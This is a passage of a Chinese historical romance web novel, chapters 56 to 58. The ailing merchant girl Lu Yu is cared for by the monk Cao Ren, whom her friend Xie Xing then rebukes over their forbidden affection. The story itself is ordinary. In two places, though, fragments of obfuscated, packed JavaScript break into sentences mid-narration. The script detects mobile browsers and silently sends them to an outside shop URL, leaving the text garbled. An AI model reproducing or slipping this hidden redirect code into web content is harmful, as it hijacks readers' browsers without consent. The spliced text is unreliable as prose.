“好阿姊,你别生气了可好?我日后都听你的”陆萸扯着堂姊的衣袖撒娇道。 “你就是在转移话题”陆妘气得扯回衣袖。 “可感情的事哪里能说收回就收回的?这事真怨不得他”陆萸道。 陆妘没心悦过任何人,自然也无法理解陆萸,但她知道陆萸若长此以往,肯定得再累出一身病。 她叹道:“我不会再劝你忘了他,只是想劝你日后凡事不要太要强,不要再把自己累病了。” “我以后会改的,堂姊放心,叔叔婶婶那里还望你替我瞒着”陆萸再次拉过陆妘的衣袖恳求道。 陆妘伸手揉了揉陆萸的头顶后,无奈一叹:“你先在这里好好休养,我知道怎么和母亲解释,明日我带食疗之物来看你。” “好的,待气色好些,我再回去”陆萸答。 曹壬好似还在楼下和医官说着话,因离得远,陆萸也听不清内容,想来是在打听她的病症。 陆妘离开后,三伏也去抓药了,屋内突然安静下来。 这些年,陆萸急于向陆氏证明自己,确实把自己逼的太紧了。 谢洐总笑话她是个大财迷,但他不懂她的焦虑,她为的不是钱,而是想证明自己价值,以便能在婚事上争取到话语权。 只是经过今日之事,陆萸不敢再逼自己了,她虽不惧怕死亡,可这一世她还有很多需要珍惜的人,所以今日起,她要换一种方式做事。 落日的余晖透过窗棂洒在床前的地板上,看着斑驳的影子,陆萸不知不觉睡着了。 56. 第五十六章 心疼 医官和曹壬说陆萸年纪轻轻心血却已耗费至此,若长此以往恐将影响寿数,让大家多开导开导她。 女子气血亏损是常见病症,但长期气血亏损对身体伤害极大,不但影响寿数还会影响子嗣。 陆妘刚下楼,听了此话后,对曹壬更是没有好脸色,好在医官说起了食疗之事,她才忍住没针对曹壬。 最终,二人达成一致,从明日起,由曹壬负责陆萸的早膳,而陆妘负责午膳和晚膳。 临行前,陆妘问曹壬:“你那里有医官说的那些食材吗?” 曹壬忙点头:“都有,贫僧即刻回去准备。” 陆妘也不想多做逗留,带着医官和侍女踏上了回定北侯府的马车。 在车内,侍女麦冬不解道:“女公子若不想让悔悟法师准备早膳,拒绝他就是,定北侯府准备的早膳肯定更精细些。” 陆妘轻轻挑起车帘的一角,沉默地看着街上形色匆匆的行人,怔了片刻才道:“他准备的是否精细不重要,只要阿萸开心便好。” 她才不信从白马寺带来的红枣莲子羹能有多美味,她不拒绝曹壬,无非是为了哄那个傻妹妹开心罢了。 情之一字,真是劳神劳心,她可一点都不想有这种感情。 曹壬不记得自己是如何走回去的,脑海中不断回想着医官的话,心里只剩下内疚和自责。 内疚自己什么忙都帮不上,让阿萸一直那么累,自责十五那日,不该买那么一大袋饴糖。 她病了,而且病得很重,长此以往,他可能会永远失去她,这样的声音不停在脑中响起。 他一路上浑浑噩噩、魂不守舍地回到白马寺,连守门僧向他打招呼,他都没有回过神。 白马寺伙房僧煮粥的手艺很是厉害,每年腊八节的时候,白马寺都要向信众免费发放腊八粥。 金秋干燥时节,寺内僧人也常因内燥生病,所以伙房在这个季节都会煮清热解毒的银耳莲子羹给寺内众僧食用。 他今日急匆匆出门,还未向师傅请罪,想到接下来很长一段时间都要早起准备早膳,他立马找主持净觉说明了情况。 他没有说陆氏谁病了,只说陆氏公子积劳成疾,作为好友,他想多去开导开导,直至全然康复。 陆氏公子是徒弟的好友,且陆氏每年送给白马寺的香火钱甚多,主持净觉听后,没有不允,还安慰道:“佛法最能清心养神,徒儿可多向陆公子讲解佛法,所谓心诚则灵,你无需太过担忧。” 曹壬双手合十,郑重地向主持行礼:“多谢师傅理解徒儿。” “去吧,若食材有缺,你让他们采买就是”净觉道。 徒儿近日经常进城,每次都说是去星火书店看书,净觉原本担心他被凡尘俗世迷了眼,如今听闻是为救人,心里的担忧反而没了。 救人一命胜造七级浮屠,佛门中人皆怀有一颗慈悲之心,又怎能见死不救呢?净觉不会干涉徒儿频繁外出,也不会允许寺中其他僧人在背地里议论他。 曹壬急匆匆赶去白马寺伙房,细细向伙房僧说了医官提供的食疗方子后,问:“师兄能否按这个方子煮粥?” “是明日一早就要吗?”伙房僧问。 曹壬:“越早越好,我要赶早送去大市。” 伙房僧对师弟想要大清早送粥的行为有些不解,因为这方子既非灵丹妙药,食材也非名贵药材,这样的粥在哪里都能煮出来,犯不着大老远送去。 犹豫了一瞬,他道:“也许师弟是想着由白马寺煮的粥,有佛祖庇佑,病人就能好得快些,只是我想向你提个醒,这里至大市有十里之远,食用粥点,自是越新鲜越好,你装在罐中步行十里,耗时太久,恐影响莲子羹食用口感,亦影响药效。” 曹壬因不重口腹之欲,从未关心过吃食,亦不懂吃食如何保存,如今听了伙房僧的话,才知道若没有快马加鞭运送,食材在高温下容易焖坏。 难怪刚刚在书店,他提出送粥的时候,陆妘主仆和医官都一副欲言又止的模样。 他忙问:“那我该如何做?”他一心只想着白马寺的莲子羹美味,却忘了这里到书店的距离。 伙房僧道:“师弟可以带着白马寺的食材去大市,让那里的庖厨按方子制作,也算是沾了我寺的灵气。” 让别人做吗?会不会煮不出白马寺的味道,曹壬有些犹豫,他知道阿萸对吃食很讲究。 伙房僧看得出小师弟很在意那位病人,于是又道:“或者你今日向我学习制羹之法,待明日一早带着食材去大市,由你亲自煮给病人食用?” 曹壬闻之,很是心动,转念一想,忙问:“制羹,我也能学会吗?” 伙房僧爽朗一笑:“制羹有何可难,就是一堆食材按步骤丢进锅里慢慢熬制即可,需要的是耐心和火候。” 说着,他开始细细讲解起红枣莲子羹的制作步骤,讲解完后,他找了食材让曹壬动手按步骤实操起来。 熬制汤羹确实费时,曹壬一直忙到天黑才吃到煮好的红枣莲子羹。 轻轻搅动着碗里的小木勺,伙房僧道:“小师弟如此聪慧,如今可以算出师,明日便去大显身手吧,我给你备了三日的食材,三日后若方子改动,你再找我准备,做汤羹讲究的是熟能生巧,你多做几次就好了。” 曹壬忙起身行礼答谢,然后才拿着食材回禅房。 伙房僧还留在厨房喝莲子羹,这时一个小沙弥在门口探头探脑,他招招手让小沙弥进来。 小沙弥在一旁坐好后,眼睛咕噜咕噜的看着碗,笑问:“师傅又研究新斋食了吗?” “这是病人的食方,你没病不需要吃”伙房僧笑道。 “我好像看到小师叔了,难道是他病了吗?”小沙弥问。 伙房僧轻敲一下徒儿的脑门,笑道:“不该打听的不要打听。” 说完,将碗推给小沙弥才道:“尝尝看,味道如何。” 小沙弥忙高兴的拿起小木勺喝了起来,真是美味呀。 伙房僧留小沙弥在厨房打扫,起身走了出去。 小师弟入寺后,才剃度完就立马成了主持的亲传弟子,因为得主持重视,刚皈依就有机会参加各类盛大法会,这让一些早早入寺的师兄弟对主持有了怨言,他们觉得主持看不到他们多年来的坚持和努力。 今日他只是口述制羹步骤,让小师弟自己动手制作,原以为第一次不会成功,可喝过红枣莲子羹,他才真正理解主持的心情。 小师弟原是南安王府的嫡长子,从未下过厨房,向来衣来伸手饭来张口的他,如今仅凭旁人口述,就能准确无误的做出想要的味道,这份机敏聪慧不是普通人所拥有的。 也许,只要他想去做,这世上恐怕没有什么事能难得倒他吧? 若是自己也能有这样的徒儿,也会像主持那样珍视的。 思及此,他扭头看了眼厨房内那个正一脸满足的喝莲子羹的小徒弟,无奈一笑,罢了,这也是缘分。 陆萸下午睡了一场觉,醒来后捏着鼻子喝了一碗新熬的汤药,然后简单吃了点东西。 原以为白日里睡多了,夜里可能又要失眠,谁知,才一倒下,她就能一夜睡到大天亮。 清晨,陆萸向三伏感叹:“侯府的医官用药当真精妙,这么快就把我多日来的失眠症给治好了。” 三伏边替陆萸梳着头,边道:“哪有那么神的药,肯定是您最近太累了。” 她这么一说,陆萸也觉得在理,连日里绷太紧,如今突然放松下来,人也就能感受到疲累了。 想到和曹壬的约定,陆萸道:“我今日不出门,就不用着男装了。” 三伏听了,将陆萸的头发梳成女子的发髻,然后去找了一套粉色上襦搭杏色下裙的纱裙给陆萸穿上。 照了照镜子,陆萸觉得比较满意,然后问:“今晨的早膳怎么还没送来?” 以往她睡懒觉的话,厨房的伙计肯定一听到动静就送早膳上楼了。 三伏一副欲言又止,见陆萸起身想要下楼,才忙拉住她的衣袖道:“悔悟法师想给女公子一个惊喜,不让我们送。” 闻言,陆萸问: “君期要从白马寺带早膳给我?” 这也太远了吧?能那么远带来的,想来只能是饼或者馍。 三伏刚要解释,门外传来“噔噔噔”的脚步声,三伏忙去开门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529161|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆萸坐在屋内,便看到曹壬小心翼翼地端着一碗吃食进来了。 三伏摆好食案,接过曹壬手中的碗放下,道:“女公子请用膳。” 陆萸见曹壬一副灰头土脸的模样,不可置信地指着碗问:“这该不会是你做的吧?” 曹壬笑着点头:“今日没有师兄在一旁指点,费了些时间,不过味道和昨日的一样,你快尝尝。” 这消息惊得陆萸差点站了起来,当初见她杀鱼时口中念叨着君子远庖厨的人,如今竟然已经学会下厨了? 想到寺庙的清苦,她忍不住心疼:“在白马寺这些年,难道除了和主持学经参佛,还要下厨吗?” 知她误会了,曹壬忙摆摆手:“这是我昨日才特意找师兄学的,平日寺里分工明确,我不需要下厨。” 如此便好,陆萸刚刚还以为白马寺也玩轮岗制,那真是太辛苦了。 她拿起小瓷勺舀一口吃过后,双眼一亮,忍不住赞道:“君期真是我见过最聪明的人,才第一次就能做的这般美味。” 曹壬挠挠自己的头,羞涩一笑:“我今日是第二次煮,明日就能更快一些了。” 又吃了一口后,看着棕色袈裟上沾满灶灰,陆萸叹道:“你其实不用亲自下厨的。” 曹壬在陆萸身旁坐好,笑道:“我想亲自做给你吃,好让你早日康复。” 闻言,陆萸鼻头有些酸,喃喃回了声:“真是傻瓜”,然后怕他发现自己的脆弱,忙低下头喝碗中的红枣莲子羹。 眼看碗见底,曹壬问:“还需要我去乘一碗吗?” 摇摇头,陆萸拿出帕子擦过嘴,回:“已经饱了。” 三伏上前收走碗和食案,屋里只剩下二人,气氛突然变得有些微妙。 想起昨日的拥抱,陆萸觉得秋日清晨的风莫名带了燥热,一时间不知该说话还是该做事。 她起身左看右看,装作在查看书案上的东西,待看到曹壬也起身了,心也莫名跟着紧张起来。 但愿他不会提起昨日的事,毕竟那时候她一心想着快死了,才那么大胆,要是换现在,她可不敢那么主动。 “阿萸”曹壬温言出声。 他看出陆萸的不自在,猜到她所想,也突然跟着不自在起来,口中也不由自主的就喊出她的名字。 陆萸听得心底一颤,声音不要这么温柔好不好? 她继续埋头看着书案,魂不舍设地低声回了一声“嗯。” “只要你喜欢,我愿意为你洗手做汤羹”曹壬走近她,眼神专注而认真的看着她道。 抬起头,陆萸在他眼中看到羞红脸的自己,又再次低下头,便看到他右手有几根手指被烫红了。 她心下一疼,也顾不得其他,忙伸手拉过他的手,细细查看后问:“疼吗?” 曹壬摇摇头:“阿萸病了,比这个疼。” “瞎说,我只是头晕,没有觉得疼”陆萸道。 “我心里疼”曹壬依然专注的看着她答。 闻言,陆萸一时不知如何回答。 他这人平日不善言辞,一副冷情冷性,如今一说情话,真是,让她既开心,又害羞。 她拿起他的手轻轻吹了吹,红着脸,低声回:“你不疼,我替你疼。” 女孩柔软的指腹捏着自己的手,指尖传来微热又温柔的气息,曹壬只觉得她每吹一下,心底就一阵酥麻。 察觉到心底的悸动,他回握住她的手,笑道:“无大碍,你不必替我疼。” 原本牵他的手变成被他的大掌紧紧包裹,陆萸觉得脸热得似要烧起来了,她抬头盈盈一笑:“君期的手比小时候暖和很多了。” 她还记得那年他握着她的手写下一笔一划时,他的手指冰凉,没有任何温度。 那时候,她是怎么想的呢?好像是心疼吧,除了心疼还是心疼。 “君期,我不需要你为我洗手做汤羹,只要你的手能永远这般温暖”她眼中含泪,看着他道。 再次更紧的握住了陆萸小巧的手,他温柔一笑:“我答应你。” 他也想起那些一起习字的时光,那时候,他包裹的这只手,既柔软又温暖,一如她的心。 57. 第五十七章 质问 都说热恋中的人智商会下降,陆萸以前是不信的,不过如今轮到自己,她便信了。 他们二人坐回书案旁后,未聊任何话题,只这么手牵手红着脸看着对方傻笑,竟然也能呆半个时辰。 直至听到三伏在门外请示的话语,二人才猛然回过神来,不约而同地再次握紧对方的手,才依依不舍的松开。 昨日拿去的画已经装裱好了。 让三伏将四卷画都放在书案上,待每一幅都仔细查验过后,陆萸才拿出一杆翁的印鉴压了下去。 用好印,曹壬问:“你想把哪一幅挂在洛阳书店?” 陆萸思忖片刻,指着月下江水苍山,道:“就挂这幅吧。” 《海棠女孩》陆萸没有用印,她笑看着曹壬:“这是君期给我的画,其他是一杆翁的。” “你喜欢便好,我现在还可以再作一幅”曹壬笑回。 想到还未见过他作画,陆萸将《月下江水图》交给三伏后,让她去准备笔墨纸张。 作画用纸只有佐伯纸最佳,不过星火书店也有得卖,所以很快就准备好了。 曹壬先用襻膊将两只袖子都收拢扎好,洗净手后,才边磨墨边构思。 男人认真做事的样子最为吸引人,此时的曹壬哪怕只着一身平平无奇的棕色袈裟,陆萸依然觉得这般投入作画的他如此迷人。 她没有去打扰他,而是在小几旁找了一个舒适的姿势坐好,然后撑着下巴安静地看着他作画。 这样优秀的儿郎心里眼里都是自己,如此一想,陆萸只觉得开心得好像在冒着泡泡。 若能这样看他一辈子,该多好呀! 此时此刻,在她看来,任何事业带来的成就感都不及他偶尔抬首看向自己时的莞尔一笑。 他画了多久,她就这样傻笑着看了多久。 时间悄然流逝,曹壬终于收好最后一笔,道了声:“画已成,不知能否入得你的眼。” 陆萸这才回过神,忙扶着小几,想起身去看画。 曹壬却先她一步,快速走过来扶稳她道:“你的病还未好全,不可急起。” 陆萸借着他手臂的力量慢慢起身,笑道:“我哪有那么娇弱?” 嘴上很硬,小腿的酸麻却出卖了她,才起身,她就一个踉跄跌入了他的怀中。 她瞬间面红耳赤,小声开口:“我不是故意的。” “我知道”头顶传来曹壬忍笑的声音。 陆萸一只手轻轻撑在他胸前衣襟上,假装若无其事地伸头去看画,惊奇道:“你怎么如此神速?我看阿兄作画,是花了整整一上午的。” 曹壬作一幅画,只用了一个时辰,这也太快了,关键是画的内容一点都不简单。 “作画时长因人而异,我心中有画,出图自然也快”曹壬扶着她慢慢走近画。 画上的墨迹还未干透,陆萸不好上手去摸,她细细看过后,叹道:“君期竟然将我看过却描绘不出的洛河之美画出来了。” 荣曜秋菊,华茂春松。髡鬓兮若轻云之蔽月,飘飘兮若流风之回雪。 远而望之,皎若太阳升朝霞;迫而察之,灼若芙葉出渌波。 曹壬画中的洛河,让陆萸想起了曹植笔下的《洛神赋》。 昔年,陈王后人成了南安王,如今他的后人用一幅画回应先祖的名作,这也算是冥冥中自有天意吧? 陆萸细细欣赏着画,忍不住说出心中所想:“曾有人私下猜测陈王的《洛神赋》是为心爱之人所做,我却觉得他或许只是单纯为洛水之美而作。” 曹壬作这幅画的时候,倒也没想到洛神赋,而是想起她上次回荆州前和沈氏兄妹游洛河的事,心里莫名起了胜负欲,便鬼使神差画了洛河。 沈氏三郎能陪她游洛河,却不能将美景永远留下,而自己能留下并送给阿萸,这让他觉得很有成就感。 当然,这些不可告人的小心思,他是不会让她知道。 他笑道:“先祖作洛神赋之时的心态无人可知,我却觉得能为心爱之人写这样一首流芳百年的赋,也是一种幸事。” 陆萸闻之,想起曹丕和曹植的权利之争,想起曹植最终郁郁而终,也跟着感叹,或许心中有信念,也算是一种幸事吧。 “思绵绵而增慕,夜耿耿而不寐,阿萸,这样的心情我亦曾亲身体会过”曹壬满眼柔情地看着她道。 如此一本正经说情话的儿郎,真是让陆萸毫无招架之力呀,聪明人一旦开窍,真是不知该如何形容才对。 想当初,那个一心给自己介绍郞婿,还配合自己追求朱慎的青春少年,如今真是一去不复返了。 陆萸羞红着脸,不敢再看那双眼,迅速扭头去看门外的景。 太阳已经高高升起,明媚耀眼的光明晃晃照在走廊上,院中大枣树晃动时,偶有树荫投在走廊上。 那树荫若隐若现,一如她此刻心底那只鹿在心田上四处乱窜。 她低喃道:“你若再说一遍,我恐怕就真要犯错了。” 罪过,真是罪过,还是得先找他学习《清心咒》才行,她在心里默念。 曹壬一开始没听清,待回过神,也跟着迅速红了脸,忍不住想要犯错的,其实是自己才对吧。 他想再靠近些,然后与她说心里话,可听到楼下传来说话声,迈出去的步子又退了回来。 陆萸则迅速转身将《洛河图》《海棠女孩》两幅画卷起,然后收进竹筒里放回书架上。 陆妘这次来,除了午膳,还带来了陆弘。 太学每授课十日,休假一天,今日正好轮到休假。 昨日回去后,陆妘偷偷找了陆弘说了陆萸的情况,今日兄妹二人便相约而来。 见到陆弘,陆萸自然高兴,忙将用好印的画依次展开给陆弘品鉴。 陆弘惊喜道:“方才我在前面大厅看到一杆翁的画,还以为是眼花,看来是真的。” 一杆翁已经快六年未有画作流出,他的画如今愈发珍贵,现下一日连看三幅,对喜爱一杆翁的陆弘而言,激动之情无以言表。 陆萸笑道:“阿兄慢慢看,君期是一杆翁的故人,你若想看,日后多的是机会。” “当真”陆弘欣喜的看着曹壬问。 曹壬忙不迭的点头:“他前几年云游去了,今年才再次和我相遇。” 言毕,他在心中默念一声阿弥陀佛,望佛祖饶恕自己撒谎。 这下,陆弘更兴奋了,对一杆翁此人,他是崇拜且向往的,可若无缘相见,能看到他的画作亦是知足的。 待看到放纸鹞那幅画,陆弘“咦”了一声,感觉这画面有些熟悉。 陆萸忙解释:“这是君期口述我们那次放纸鹞的场景,一杆翁听后,即兴而作。” 陆弘闻之,惊叹连连:“不愧是大师,仅凭口述之言,便能画得有如身临其境一般,难怪画上的人面部处理写意而非写实。” 陆萸心想,若全部写实,岂不是露馅了。 陆弘忘我地欣赏着画作,曹壬在一旁陪着。 陆妘就拉着陆萸在一旁用午膳,她边打开食盒拿出碗碟放在食案上,边道:“食疗是循序渐进的过程,所以你也不能因为怕苦不喝汤药。” “我认真喝了的,不信你问三伏”陆萸忙道。 陆妘:“也不知这些菜是否合你胃口,不过你如今有病在身,不可挑食。” 陆萸边吃菜边点头,今日的菜虽然清淡,食材却很丰富,看得出是用了心的。 午膳用好后,食案才收下一会,三伏又端着汤药给陆萸了,一日服三次,这是第二次。 看着黑乎乎的汤汁,闻着隐隐飘来的草药味,陆萸的脸瞬间皱了起来。 在场所有人都守着她,她只得闭上眼捏起鼻子一口气喝了下去。 喝完后,迅速喝了清水后,她抱怨道:“当初是我们看着君期喝药,如今真是风水轮流转。” 陆弘笑道:“君期喝药可没你这么难。” 当年好友喝药就跟喝水一样,姿态优美面不改色。 “那能一样吗?我喝药的时间没他久,若是”陆萸不服输道,若是再练上几年,自己也能习惯。 陆妘听了,立马不悦打断道:“敢情你还想多喝几年,再比个输赢?” 陆萸一脸尴尬:“堂姊当真聪慧,这也能猜到。” 陆妘脸上又是那副恨铁不成钢的表情,道:“我懒得再骂你了,赶紧休息去吧。” 陆弘笑道:“阿萸要好好养身体,你若一直这么瘦,年底回华亭祭祖的时候,母亲和季真都会怪我没照顾好你。” 陆萸笑着再三保证,他们才终于放心的离去。 想来医官的药方里有助眠的药材,陆萸才躺下一会就沉沉入睡了。 曹壬先是陪着陆弘去书店大厅看了画,待陆氏兄妹回定北侯府,他才回到后院坐在大枣树下打坐修禅。 中秋过后的大枣树还未开始落叶,树干粗壮而挺拔,虽然枣子已被摘完,却依然生机勃勃。 枣树向四周伸展的树枝,姿态优美,清风吹拂时,在阳光下自由舞动着。 树下的曹壬闭上双眼,盘膝而坐,身体端正而稳定,仿佛与大地融为一体。 一个时辰后,从定北侯府赶来的谢洐看到的就是这样的场景。 秋日正午的阳光热烈奔放,透过树枝缝隙散落在曹壬的头顶,他神情安详,似乎与世间的纷扰毫无关联,周围的空气也似乎因他的静默而凝固,时间也仿佛在这一刻停滞了。 谢洐今天一早就去定北侯府访友,用过午膳后,临行前被陆氏兄妹喊去偷偷说了陆萸的情况。 因洛阳书店和茶点生意都和他有关,陆氏兄妹期望平日里他能多担待一些,好让陆萸养好身体。 他听后神情很凝重,既心疼又气愤,一心只想挣钱的傻丫头终于累病了,他想在看望她后,再好好教育一番。 不过,如今见到打坐的曹壬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544158|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心中瞬间生了一股怒气,他在廊下看了一会,然后转身走回书店。 六钱得令忙上前走至树下,轻声道:“我家公子想请法师一叙。” 曹壬闻言睁开眼,看到六钱,想起他是谢洐的随从,于是双手合十行礼:“请施主给贫僧带路。” 六钱当年在华彩阁第一次见曹壬时,见他虽然虚弱不堪,却依然惊艳众人,想不到皈依后的他褪去那份稚嫩虚弱后,愈加让人难忘,一袭袈裟仍掩不住他的风华。 他愣了一下,才道:“法师请随在下前往。” 曹壬才踏入书店二楼的雅间,就已感受到屋内气场很冷,谢洐脸上的不悦和愤怒更是连隐藏都没有,就这么直白。 他双手合十行礼:“多年未见九公子,别来无恙。” 谢洐似忍了一下,轻吐了一口气,看着茶案上的茶具,道:“听闻你已经学会九丫头的茶道,择日不如撞日,今日让我也尝尝你的手艺如何?” 曹壬再次双手合十,回:“公子愿喝贫僧的茶,某荣幸之至。” 言毕,他整理好袈裟,在谢洐对面坐定后,慢条斯理的煮起水。 茶炉冒出“咕噜咕噜”的声音,水烧开了,雾气在二人中间弥漫开来。 谢洐看着曹壬煮茶的动作行云流水般优美,有一瞬间的恍惚。 待曹壬将一杯茶双手奉上的时候,他没有马上去接,而是久久凝视着炉子,问:“你还记得最后一次在南安王府给小九煮茶的时候是几月吗?” 曹壬端茶杯的手晃了一下,回:“贫僧记得,那时院中的海棠花开的极好。” “既已好好作别,为何还要回来找她?”谢洐接过茶杯,看着他问。 闻言,曹壬怔怔不语。 只听谢洐接着道:“小九是我看着长大的,这么多年来,她的努力我都看在眼里,没有你她也可以过得很好。” 曹壬垂下眼眸去看冒着热气的茶汤,回:“贫僧知道。” 谢洐端着茶杯却没有喝,而是冷冷开口:“请问,你能给她带来什么?又打算为她做出多少努力?既然已经打算相忘于江湖,为何还要来打扰她?” 谢洐问的声音很轻,内容却如此深刻,每一句话都如惊雷般让曹壬震耳发聩。 他从未想过这些问题,如今才去想却只能愣愣地看着谢洐,几次动了动唇都说不出一句话,因为他一个问题都答不上来。 分别多年后,他又来找她,是因为心中一直放不下,可这样的放不下,又能给阿萸带来什么呢? 谢洐“砰”的一声,将手中茶杯重重放下,嘲讽一笑:“你一口一个贫僧,却早已忘了佛门清规,而出了寺门之后,你出现在小九面前时,又可曾想过,看到这身袈裟,她内心会有多纠结和难过。” 曹壬的思绪早已混乱,只能颤抖着唇回:“我,我竟然都不曾去想,也不知道她会难过。” “你自然不会知道,因为她在你面前表现出来的都是她想让你看到的,她的痛苦,她的艰难抉择你都看不到。” “抱歉,这些我都没能发现”曹壬眼眶已红。 “试问,天下的世家女,又有几人会冒着被世人嘲笑唾骂的风险去白马寺和佛祖抢人,她身上的压力,你又可曾考虑过?” 曹壬已经完全回不出话了。 谢洐接着道:“你若只是普通僧人,以陆氏的实力,或许可以给你们创造两全的结果,可你不是,你才皈依便已一鸣惊人,且名声远播西域。 悔悟法师,请你清醒一些,好好想想你要的是什么?你已经为心中的理想和信念放弃了小九一次,既然已经做出选择,就不要再回头了。” 不再回头吗?可心中不想也不愿意放下呀,曹壬脑中才想到以后再也不与她相见,心口便已开始隐隐作痛。 谢洐心中的愤怒和怨怼因曹壬的无措和痛苦慢慢消下去了,看来,眼前看似云淡风轻的少年,也曾为情苦苦挣扎过。 他轻叹一声:“做人,不能既要又要的,那样简直太贪心了。陆氏兄妹没有吃过感情的苦,才仍由你如此待小九,我却是个过来人,我很能理解小九的挣扎和痛苦,那种明明两情相悦却看不到未来的煎熬,没有谁比我更清楚。” “多谢公子点拨,我受教了”曹壬虽然沉浸在自责与痛苦中,嘴上却麻木的回。 “都说和佛祖抢人,是要被打入阿鼻地狱的,你既已入了佛门,对佛祖应该有敬畏之心吧?我今日言尽于此,你自己回去思量吧。” 谢洐说完,不待曹壬回答,起身去后院找陆萸了。 曹壬在书店雅间怔然许久,才失魂落魄地从楼上下来向后院走去。 他一只脚刚刚迈出去踩在廊下,就听到陆萸在小楼回廊上轻快的和谢洐说着话。 他们说话的内容虽然听得不是很真切,她的笑声却如银铃般传了过来。 曹壬那只迈出去的脚停了一下,然后收了回来,那袭袈裟最终消失在门框里。 58. 第五十八章 理智抉择 谢洐说的没错,他不该太贪心,也不该自私的不去考虑世人对陆萸的看法。 世间女子本就比男子活的不易,倘若有一天,被别人发现二人这惊世骇俗的情感,她该何去何从? 这段时间,因为久别重逢的喜悦,更加之知道她和自己心意相通,向来冷静自持的他也就忘了考虑现实,忘了身上的袈裟,更忘了在佛祖面前许下的承诺。 如今谢洐的话犹如深井中的凉水,狠狠将曹壬泼醒,他不该继续这样下去,哪怕是为了她,他也应该更加冷静克制,行事应该更隐蔽才对。 恢复理智的他,第一次认真审视这份感情,才发现他什么都没付出,可阿萸却一直冒着有朝一日被人诟病唾骂的风险,甚至还要连带陆氏百年声誉。 曹壬在徒步回白马寺的路上想了一路。 守门僧再次看到失魂落魄的小师叔时,再也无法笑着打招呼了。 谢洐见陆萸的气色极差,便责怪道:“让你不要掉钱眼里,你偏不听,如今知道药难喝了吧?” 陆萸笑回:“我再也不敢了,你们不要再骂我了可好?” “真知道错了?” “知道了,知道了,保证下次不犯错”陆萸笑着再三保证。 谢洐和陆萸在外间书案前坐定后,说了这次来的主要目的。 以后华彩阁的茶点生意无需陆萸亲自过问了,新品推广、节假日礼盒促销等,都由谢洐自己去做,也无需陆萸去店铺对账,他会每月派人去找陆萸对账,并按月将陆萸的那份资金提取给她。 “你若信得过我,就这样吧,至少近两年内,你都不用太过操心”谢洐道。 陆萸忙笑回:“我对谢九叔有何不放心的,只是这样有点像在占您的便宜。” “知道占便宜的话,将来我老了,你好好孝敬我就是”谢洐不甚在意道。 陆萸忙道:“谢九叔不会老的,一直是京都女郎的梦中情郎。” “去去去,竟然还打趣起我了”谢洐假装生气道。 陆萸笑着给谢洐续上茶杯,然后道:“我说实话罢了,九叔勿恼。” 谢洐端起茶杯,轻抿一口,想起曹壬那杯他最终没有喝下去的茶。 他郑重道:“曹君期既已入了佛门,你二人相交的时候就该注意分寸。” 陆萸瞬间收回脸上的笑,认真回:“多谢您的提醒,我知道分寸的。” “他现在是悔悟法师,多少眼睛盯着他,我这样也是为你好”谢洐又道。 “这些我都懂,这次也是因我病了,他才逗留的久了一些”陆萸忙解释。 说到生病,谢洐才说了此行的第二个目的。 他示意了一下六钱,很快就有一名女子进门向谢洐和陆萸行礼。 女子看起来和秋娘的年龄差不多,只是长得比较普通,她自报姓名,唤柳如筠。 柳如筠是河东柳氏的旁支,因是旁支加之自幼父母双亡,家族给她婚配的人家也很一般,谁知婚后仅半年,夫家便犯事下狱,柳家不愿意接回柳如筠,柳如筠就按律法和夫家众女眷一起被卖了。 谢洐就是在那时候买下她,至今已有十八年。 陆萸不解的看着谢洐,谢洐却接过六钱手中的卖身契,递给她道:“我知你是个有主意的人,所以一直在培养你的那些侍女,可那样太慢了,我直接送你现成的。” 柳如筠在谢洐的培养下,精通筹算,做账以及管理,谢洐为将产业做大做强,当年花了很多心思去培养人,像柳如筠这样的人在他门下有很多。 陆萸愣愣地接过卖身契后,顿了一瞬才道:“你不是天天骂我只知道挣钱吗?如今送如此能人给我,不怕我更加痴迷挣钱?” 听了这话,谢洐气急:“那就把卖身契还我,累死你算了,我原是想让她替你分担些事物,你也无需凡事亲力亲为,好腾出时间享受生活,你如此不知好歹,就不要浪费人才了。” 陆萸迅速将卖身契递给三伏后,赔笑道:“九叔息怒,我自是知道你的好意,明天立马给她安排任务。” 怕谢洐不答应,她接着道:“等安排妥当了,我约九叔游洛河可好?” 谢洐见她一副搞笑的表情,起身道:“去去去,谁稀罕与你一同游洛河,最近外面不太平,你就老老实实在这里养病吧。” 至于为何不太平,谢洐却没说,陆萸再三追问,他却嫌烦,干脆回谢氏府宅了。 谢洐走后,陆萸才让三伏去问书店的人,知道曹壬不告而别是因为见过谢洐,想到刚刚谢洐对自己的提醒,陆萸沉默了许久。 这两天真是被感情冲昏了头脑了,她有些自责,想来一心向佛的他定也是被谢洐提醒后,觉得愧对佛祖,所以回去忏悔去了。 三伏见陆萸脸上很是难过,劝道:“女公子无需多想,明日一早,悔悟法师就会再来。” 陆萸苦涩一笑,道:“是呀,明日还能再见。” 她心底猛然一惊,其实什么都没变,是自己变得贪心了,当初信誓旦旦的认为只需看着他好就可以知足的自己,这几天变得想要更多。 陆萸是一个很会反思的人,反思过后,理智立马回笼,也重新回到最初的心态,各自美丽,也是一种完美。 她该喝药喝药,该睡觉睡觉,很快就到了第二天。 第二天清晨,她穿好衣裙后,三伏端来了曹壬煮好的莲子羹,但他已经回白马寺做早课去了。 红枣莲子羹是在两个时辰前煮好,温在灶台上的,他赶早煮羹然后赶早回去做早课。 陆萸听完后,轻轻搅动着小瓷勺,忍住将要落下的泪,喃喃说了声:“真是傻瓜。” 